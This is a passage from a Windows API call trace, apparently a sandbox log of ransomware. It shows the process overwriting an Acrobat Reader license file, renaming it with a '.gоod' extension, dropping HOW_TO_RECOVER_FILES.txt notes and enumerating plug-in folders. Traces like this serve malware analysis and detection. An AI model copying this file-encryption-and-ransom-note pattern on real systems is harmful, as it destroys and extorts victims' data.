(x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0089.572] GetFileType (hFile=0x7b4) returned 0x1 [0089.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0089.572] GetFileType (hFile=0x7b4) returned 0x1 [0089.572] ReadFile (in: hFile=0x7b4, lpBuffer=0x37296c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b568, lpOverlapped=0x0 | out: lpBuffer=0x37296c8*, lpNumberOfBytesRead=0x1f35b568*=0x1000, lpOverlapped=0x0) returned 1 [0089.865] CloseHandle (hObject=0x7b4) returned 1 [0089.865] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", lpFilePart=0x0) returned 0x4c [0089.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0089.866] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0089.866] GetFileType (hFile=0x7b4) returned 0x1 [0089.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0089.866] GetFileType (hFile=0x7b4) returned 0x1 [0089.866] WriteFile (in: hFile=0x7b4, lpBuffer=0x32b9730*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35b618, lpOverlapped=0x0 | out: lpBuffer=0x32b9730*, lpNumberOfBytesWritten=0x1f35b618*=0x1010, lpOverlapped=0x0) returned 1 [0089.866] CloseHandle (hObject=0x7b4) returned 1 [0089.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", lpFilePart=0x0) returned 0x4c [0089.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html.gоod", lpFilePart=0x0) returned 0x51 [0089.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0089.866] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\license.html"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x31c82ac8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa919)) returned 1 [0089.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0089.866] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\license.html.gоod")) returned 1 [0089.867] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x58 [0089.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0089.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0089.867] GetFileType (hFile=0x7b4) returned 0x1 [0089.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0089.867] GetFileType (hFile=0x7b4) returned 0x1 [0089.868] WriteFile (in: hFile=0x7b4, lpBuffer=0x3394890*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x3394890*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0089.869] CloseHandle (hObject=0x7b4) returned 1 [0089.869] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x54 [0089.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0089.869] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0089.870] GetFileType (hFile=0x7b4) returned 0x1 [0089.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0089.870] GetFileType (hFile=0x7b4) returned 0x1 [0089.871] WriteFile (in: hFile=0x7b4, lpBuffer=0x3398138*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x3398138*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0089.871] CloseHandle (hObject=0x7b4) returned 1 [0089.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0089.872] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale", lpFilePart=0x0) returned 0x3c [0089.872] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.872] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.873] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0089.873] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0089.873] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0089.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0089.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0089.873] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale", lpFilePart=0x0) returned 0x3c [0089.873] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.873] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.874] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0089.874] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0089.874] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0089.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0089.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0089.874] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US", lpFilePart=0x0) returned 0x42 [0089.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.874] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.875] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 1 [0089.875] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0089.875] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0089.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0089.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0089.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US", lpFilePart=0x0) returned 0x42 [0089.875] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.875] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.875] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 1 [0089.876] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 0 [0089.876] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0089.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0089.876] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5b [0089.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0089.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\locale\\en_us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0089.876] GetFileType (hFile=0x7b4) returned 0x1 [0089.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0089.876] GetFileType (hFile=0x7b4) returned 0x1 [0089.877] WriteFile (in: hFile=0x7b4, lpBuffer=0x33b7958*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x33b7958*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0089.878] CloseHandle (hObject=0x7b4) returned 1 [0089.878] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x55 [0089.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0089.878] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\locale\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0089.878] GetFileType (hFile=0x7b4) returned 0x1 [0089.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0089.878] GetFileType (hFile=0x7b4) returned 0x1 [0089.879] WriteFile (in: hFile=0x7b4, lpBuffer=0x33bb200*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x33bb200*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0089.880] CloseHandle (hObject=0x7b4) returned 1 [0089.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0089.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins", lpFilePart=0x0) returned 0x3e [0089.880] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.882] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.883] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9a79de, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7be63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0089.883] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm", cAlternateFileName="")) returned 1 [0089.883] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0089.883] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annotations", cAlternateFileName="ANNOTA~1")) returned 1 [0089.883] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0089.883] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0298732, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc6463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.api", cAlternateFileName="")) returned 1 [0089.883] FindNextFileW 